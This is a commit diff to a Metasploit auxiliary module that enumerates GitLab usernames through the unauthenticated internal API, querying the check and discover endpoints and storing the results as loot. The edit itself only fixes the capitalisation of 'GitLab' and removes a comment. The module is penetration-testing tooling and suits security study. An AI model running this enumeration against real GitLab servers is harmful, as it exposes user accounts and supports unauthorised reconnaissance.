@@ -15,13 +15,13 @@ class Metasploit3 < Msf::Auxiliary
15
15
def initialize ( info = { } )
16
16
super ( update_info (
17
17
info ,
18
- 'Name' => 'Gitlab User Enumeration' ,
18
+ 'Name' => 'GitLab User Enumeration' ,
19
19
'Description' => "
20
- The Gitlab 'internal' API is exposed unauthenticated on Gitlab . This
20
+ The GitLab 'internal' API is exposed unauthenticated on GitLab . This
21
21
allows the username for each SSH Key ID number to be retrieved. Users
22
22
who do not have an SSH Key cannot be enumerated in this fashion. LDAP
23
23
users, e.g. Active Directory users will also be returned. This issue
24
- was fixed in Gitlab v7.5.0 and is present from Gitlab v5.0.0.
24
+ was fixed in GitLab v7.5.0 and is present from GitLab v5.0.0.
25
25
" ,
26
26
'Author' => 'Ben Campbell' ,
27
27
'License' => MSF_LICENSE ,
@@ -34,7 +34,7 @@ def initialize(info = {})
34
34
35
35
register_options (
36
36
[
37
- OptString . new ( 'TARGETURI' , [ true , 'Path to Gitlab instance' , '/' ] ) ,
37
+ OptString . new ( 'TARGETURI' , [ true , 'Path to GitLab instance' , '/' ] ) ,
38
38
OptInt . new ( 'START_ID' , [ true , 'ID number to start from' , 0 ] ) ,
39
39
OptInt . new ( 'END_ID' , [ true , 'ID number to enumerate up to' , 50 ] )
40
40
] , self . class )
@@ -44,7 +44,7 @@ def run_host(_ip)
44
44
internal_api = '/api/v3/internal'
45
45
check = normalize_uri ( target_uri . path , internal_api , 'check' )
46
46
47
- print_status ( 'Sending gitlab version request...' )
47
+ print_status ( 'Sending GitLab version request...' )
48
48
res = send_request_cgi (
49
49
'uri' => check
50
50
)
@@ -66,12 +66,12 @@ def run_host(_ip)
66
66
host : rhost ,
67
67
port : rport ,
68
68
ssl : ssl ,
69
- info : "Gitlab Version - #{ git_version } "
69
+ info : "GitLab Version - #{ git_version } "
70
70
)
71
71
elsif res && res . code == 401
72
- fail_with ( Failure ::NotVulnerable , 'Unable to retrieve Gitlab version...' )
72
+ fail_with ( Failure ::NotVulnerable , 'Unable to retrieve GitLab version...' )
73
73
else
74
- fail_with ( Failure ::Unknown , 'Unable to retrieve Gitlab version...' )
74
+ fail_with ( Failure ::Unknown , 'Unable to retrieve GitLab version...' )
75
75
end
76
76
77
77
discover = normalize_uri ( target_uri . path , internal_api , 'discover' )
@@ -110,12 +110,11 @@ def run_host(_ip)
110
110
end
111
111
112
112
def store_userlist ( users , service )
113
- loot = store_loot ( 'gitlab.users' , 'text/plain' , rhost , users , nil , 'Gitlab Users' , service )
113
+ loot = store_loot ( 'gitlab.users' , 'text/plain' , rhost , users , nil , 'GitLab Users' , service )
114
114
print_good ( "Userlist stored at #{ loot } " )
115
115
end
116
116
117
117
def store_username ( username , res )
118
- # Should the service be 'Gitlab'?
119
118
service = ssl ? 'https' : 'http'
120
119
service_data = {
121
120
address : rhost ,
0 commit comments